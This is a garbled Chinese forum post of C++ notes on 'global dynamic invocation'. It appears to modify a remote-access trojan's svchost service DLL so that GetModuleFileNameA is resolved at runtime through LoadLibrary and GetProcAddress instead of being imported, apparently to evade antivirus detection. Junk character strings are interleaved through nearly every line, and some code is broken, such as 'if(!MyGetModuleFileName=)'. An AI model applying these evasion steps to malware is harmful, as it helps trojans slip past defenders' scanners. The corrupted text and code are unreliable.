[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
) B4 P6 i* z6 V' \0 Psvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h' ]1 ^% h, G; y5 N2 k
----------------------------------------/ Q3 }0 s" h$ o' E0 L; j3 r5 y" T; y* J
DTDY.h：! b+ y7 @" O4 F& P9 t2 ]1 l4 [# v
9 z9 V. B8 P4 ~0 ?0 z9 I, B  x5 v
#if _MSC_VER>1000
' d9 ^* x8 G% P9 b( h; O#pragma once+ ^( \4 e) Y4 m" B* h
#endif //_MSC_VER>1000
" D- v2 J8 l0 X6 [% o9 u* s#include<windows.h>
# ]! g' m2 C6 b1 L! `% u2 [; C  ^7 o& _* R
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  @1 C/ B& I( l' b$ V5 c' y+ l
class DTDY' E+ B" b; ]  C/ ?, Z2 l
{
$ ^1 E: f6 S3 |' V+ x+ R/ w& Spublic:
; ~: E' D$ ^9 @DTDY();
3 L( `* R+ b+ X9 Evirtual ~DTDY();- V! f' I  @8 B# e, Y
public:- Q' I. A9 L$ J) q9 f/ Z- y/ N
static pGetModuleFileNameA MyGetModuleFileName;
  @3 Y' I. G/ P$ q9 k1 s& Kstatic BOOL FunInitiallization();2 O2 h6 v" z$ `% l
};6 h- R+ o$ t4 l6 N8 j
#endif
: B9 K" p9 H8 v0 f----------------------------------------7 M: [: u) `) J
7 f+ \8 E1 C5 ]
DTDY.cpp:
: w' i% K# Z; w  p1 w4 I( Z0 z- U" b9 f
#include "DTDY.h"  d( C9 W8 {; I0 q& ~4 ?
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;/ Q2 [7 p- i5 ]; D; Q9 T3 M  I
DTDY:TDY()) G- V. B! E7 c2 ]. T
{5 g; N+ b0 O! }" g( x" f
}* L; U. Q* X! R- ?# G, c+ {
DTDY::~DTDY()
) u( z& b: B* ~0 s{4 M5 Y; l3 U& f" n$ `3 `- f5 u
}
  x0 v$ F3 B* SBOOL DTDY::FunInitiallization()
' J8 g! v8 Y0 t5 i0 R+ I{" N8 _' b1 w4 E4 L
HMODULE hModule=LoadLibrary("kernel32.dll");$ c5 N5 F$ H# c4 ]( J2 \: Z; r
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
: K0 d8 i' ]; ^$ n% U' m9 A8 lif(!MyGetModuleFileName=) return FALSE;& i$ g% P+ t4 i7 c4 S9 p7 g

- _5 B1 \( C0 _! zreturn TRUE;
) Z+ x& K! ~1 x% V}
/ i. }2 c, X6 R! H5 ?----------------------------------------! u! }) t2 }- S, H7 F, y
svchost.cpp:
+ ^: ]$ H% A0 f# j& d; Y( }& D3 p' H) h8 Q3 R6 z
#include "DTDY.h"' k4 v! F! g% O! [* N8 m

  l, ?0 T! C6 a6 v, C  Q& T- k* iBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, b7 M1 V) o- {4 ]6 g3 Y1 {0 _{
% s6 k" B/ l% Zswitch(ul_reason_for_call)8 A+ z  X: O' g" }
{6 h7 _* c; k- x8 x& u* ~
case DLL_PROCESS_ATTACH:4 s- O* \6 W/ w+ n% q  n
if(!DTDY::FunInitiallization()) return FALSE;2 F" |0 }* c' a, Y
7 Y, B" q/ F1 `0 J& I5 m" Z
break;5 Y( `. h2 m  r* J+ w
}8 J4 r: o. p# u' x! B5 Y2 G
}
- j& M, r; O" g& a- K& L. q5 W. E2 H- i$ B4 J/ y! }9 X

/ H7 n8 |7 O* b3 E) P6 RGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def; {! t7 _# F, I4 S
改写为/ e. n$ }" o1 }9 H/ `; W/ n
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));4 g$ v6 R& V8 y2 x; j( C
----------------------------------------
# Y* `8 B& _5 b+ {KernelManager.cpp:$ w2 ~1 u7 q; L2 Y  y
+ e0 J# f1 j/ o
#include "../DTDY.h"
# i' X% n! n3 J' M  [GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 g# F3 i5 u" T; e' g& s
改写为
8 U1 e9 o' f0 d7 r* w; }! o+ T. VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 y; Z: R2 V9 e5 I1 U; ?4 R- P3 L
----------------------------------------